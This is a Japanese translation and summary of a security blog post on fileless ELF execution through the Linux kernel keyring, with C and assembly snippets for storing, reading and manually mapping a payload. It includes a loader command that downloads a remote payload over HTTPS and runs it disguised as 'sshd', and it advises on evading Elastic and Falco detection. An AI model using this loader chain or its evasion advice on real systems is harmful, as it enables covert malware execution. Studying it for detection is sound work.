セキュリティ
カーネルキーリングを介したファイルレスELF実行
Fileless ELF Execution via Kernel Keyring (matheuzsecurity.github.io)
要約
この記事では、Linuxカーネルのキーリングサブシステムを利用して、ELFペイロードをファイルシステムに書き込まず、かつexecveを使わずに実行する新しい手法を紹介しています。カーネルメモリにELFバイナリを格納し、その後、匿名メモリ領域から手動でマッピングして実行します。この手法は、ファイルディスクリプタやファイルシステムの存在に依存する一般的な検出メカニズムを回避します。
全文翻訳
皆さん、こんにちは!今日は、ファイルシステムに一切触れることなく、execveを呼び出すこともなく、ELFペイロードを実行するテクニックを紹介したいと思います。そのトリックはLinuxカーネルのキーリングにあり、ファイルレス実行のためにほとんどの人が行っていることとは少し異なります。では、始めましょう。
通常のmemfd_createやO_TMPFILEのようなアプローチの問題点は、ディレクトリエントリはなくても、/proc/self/fd/にファイルディスクリプタが残り、実際のファイルシステム上にinodeが存在してしまうことです。それらをすべてスキップできたらどうでしょうか?そこでキーリングが登場します。
Linuxは2.6からキー管理サブシステムを持っており、おそらく一度は/proc/keysを見たことがあるでしょう。PAMやKerberosクレデンシャルキャッシュ、dm-cryptなどがこれを利用しています。このアイデアは、プロセスやセッションがカーネルメモリに任意のブロブ(データ塊)を格納できるというもので、私たちが注目すべきシステムコールはadd_key (x86-64では248) とkeyctl (250) です。
まず、ELFを格納します。
long key = syscall(248 /* SYS_add_key */, "user", "_dntry", elf_bytes, elf_size, (long)KEY_SPEC_SESSION_KEYRING);
ここには多くの処理がありますが、分解してみましょう。syscall(248, ...)はadd_keyで、5つの引数を取ります。最初の"user"はキーのタイプで、任意のバイトブロブのための汎用タイプです。2番目の"_dntry"は説明文字列で、後でキーを識別するために選ぶラベルです。次にペイロードのポインタとそのサイズが続きます。最後の引数KEY_SPEC_SESSION_KEYRING (-3) は、キーを現在のセッションキーリングにアタッチするようにカーネルに指示します。
返ってくるのはkey_serial_tで、これはファイルディスクリプタではなく、単なるint32でキーを識別します。そのため、/proc/self/fd/には何も表示されません。実際のペイロードバイトは、security/keys/user_defined.c内のkmemdup()を介してスラブメモリに格納され、ファイルシステムは関与しません。
デフォルトのユーザーごとのクォータは、すべてのキーを合わせて20000バイトで、小さなペイロードには十分であり、このテクニックはroot権限なしで問題なく動作します。rootは/proc/sys/kernel/keys/root_maxbytesを介して25MBの独自のクォータを持っているので、ペイロードが大きい場合はそちらのパスになります。
次に、バイトを取得します。keyctl(KEYCTL_READ)はキーペイロードをユーザースペースのバッファにコピーします。これを2回呼び出します。最初はヌルバッファでペイロードのサイズを調べ、次に実際の割り当てを行います。
long sz = syscall(250 /* SYS_keyctl */, (long)KEYCTL_READ, key, 0L, 0L);
void *buf = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
syscall(250, (long)KEYCTL_READ, key, (long)buf, sz);
カーネルはスラブから、作成したばかりの匿名マッピングに直接コピーします。
その後、取り消します。
syscall(250, (long)KEYCTL_REVOKE, key, 0L, 0L);
KEYCTL_REVOKEは操作3です。これが返されると、そのシリアルに対するそれ以降のkeyctl(READ)はEKEYREVOKEDを返し、参照カウントがゼロになるとスラブが解放されるため、ここからペイロードは匿名マッピングにのみ存在します。
次に、実際に実行する必要があります。fdもパスも与えられないため、execveやexecveatは使用できません。そのため、ELFをマニュアルでロードし、プログラムヘッダをウォークしてPT_LOADセグメントを見つけ、それぞれを正しいアドレスの匿名メモリにマッピングします。
void *seg = mmap((void *)seg_va, seg_len, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED_NOREPLACE, -1, 0);
memcpy((void *)dst, buf + ph[i].p_offset, ph[i].p_filesz);
mprotect((void *)seg_va, seg_len, prot);
MAP_FIXED_NOREPLACEがここで重要です。これがなければ、そのアドレスに既に何かマッピングされている場合、mmapはサイレントにそれを上書きします。これがあるとエラーが発生し、実際に対処できます。
各セグメントにはp_fileszバイトの実際のコンテンツと、潜在的にそれより大きいp_memszがあります。その差はBSSです。MAP_ANONYMOUSでマッピングしたため、カーネルはmemcpyの前に領域全体をゼロクリアしているので、BSSは既に処理されています。明示的なmemsetは防御的なものです。
if (ph[i].p_memsz > ph[i].p_filesz) memset((void *)(dst + ph[i].p_filesz), 0, ph[i].p_memsz - ph[i].p_filesz);
セグメントがマッピングされたら、x86-64 ABI形式(argc、argvポインタ、ヌル、envpポインタ、ヌル、auxvペア)でスタックを構築し、すべてのレジスタをゼロにして、エントリポイントにジャンプします。
register uintptr_t r_entry __asm__("rdi") = entry;
register uintptr_t r_sp __asm__("rsi") = sp;
__asm__ volatile( "mov %%rsi, %%rsp\n\t"
"xor %%eax, %%eax\n\t"
/* ... zero all other registers ... */
"jmp *%%rdi"
: : "r"(r_entry), "r"(r_sp)
: "memory" );
glibcの_startはrdxをrtld_finiとして扱い、ゼロでない場合はatexitハンドラとして登録するため、rdxをゼロにする必要があります。ジャンプ前のrdxにあったガベージは、終了時のクラッシュにつながります。
ジャンプする前に、ローダーは自身のパスを読み取り、自身をアンリンクします。
char self_path[PATH_MAX] = {0};
ssize_t n = readlink("/proc/self/exe", self_path, sizeof(self_path) - 1);
if (n > 0) unlink(self_path);
readlink("/proc/self/exe")は、バイナリがロードされた実際のファイルシステムパスを返します。それがアンリンクされるものです。 /proc/self/exeシンボリックリンク自体はprocfsにあり、直接アンリンクすることはできませんが、それが指す実際のファイルは自由に操作できます。ファイルはディレクトリからすぐに消えますが、カーネルがマッピングが開いている間それを保持するため、ローダーが終了するまでinodeは残ります。
私たちにとって悪い点は、ペイロード実行中に/proc/<pid>/exeが(deleted)と表示されることで、このサフィックスはElasticやFalcoなどがプロセス実行ファイルが(deleted)で終わることを積極的にマッチングするため、よく知られた検出信号です。そのため、アンリンクをスキップすることが実際にはステルス性のために良い選択です。ローダーバイナリはフォレンジックアーティファクトとしてディスクに残りますが、実行中のプロセスはクリーンに見え、実行前にローダーを説得力のある名前にリネームすれば、プロセスツリーには何も異常はありません。
straceでこれを実行すると、完全なチェーンが確認できます。ペイロードはリモートでホストされ、ローダーはHTTPS経由で取得し、どこにも書き込みません。
strace -e trace=add_key,keyctl,mmap,mprotect,execve,execveat,unlink ./dntry khttp https://temp.sh/aBcDe/payload sshd
合計3回のkeyctl呼び出し:サイズプローブ、実際の読み取り、そして取り消しです。exec呼び出しがないため、ペイロードはプロセスの開始イベントを生成しません。
ペイロード実行中に/proc/<pid>/fdがクリーンであることを確認するには、スリープするデモペイロードを使用します。サーバーにホストして実行します。
./dntry khttp https://temp.sh/aBcDe/payload sshd
# 別のターミナルで:
ls -la /proc/<pid>/fd
cat /proc/<pid>/maps
cat /proc/<pid>/cmdline
そして/proc/keysは、キーが存在する間、その全サイズとともに表示されます。
1bb1ba3a I--Q--- 1 perm 3f010000 1000 1000 user _dntry: 9528
KEYCTL_REVOKEの後、IR-Q---に変わり、スラブが解放されたためサイズは0に低下し、GCが実行されるまでそこに留まります。リアルタイムで監視できます。
watch -n0.1 "grep _dntry /proc/keys"
3番目の引数は、ペイロードのargv[0]となり、prctl(PR_SET_NAME)がスレッド名として設定するものです。
これが完全なチェーンです。ペイロードはHTTPからカーネルスラブメモリに入り、匿名マッピングにコピーされ、execveもfdもVFS上のinodeも一切なく、直接ジャンプで実行されます。ディスク上に存在した唯一のアーティファクトはローダー自身でした。
キーリングは、このようなことには誰も考えないカーネルサブシステムの一つであり、それが興味深い理由の一部です。
Source: github.com/MatheuZSecurity/Dntry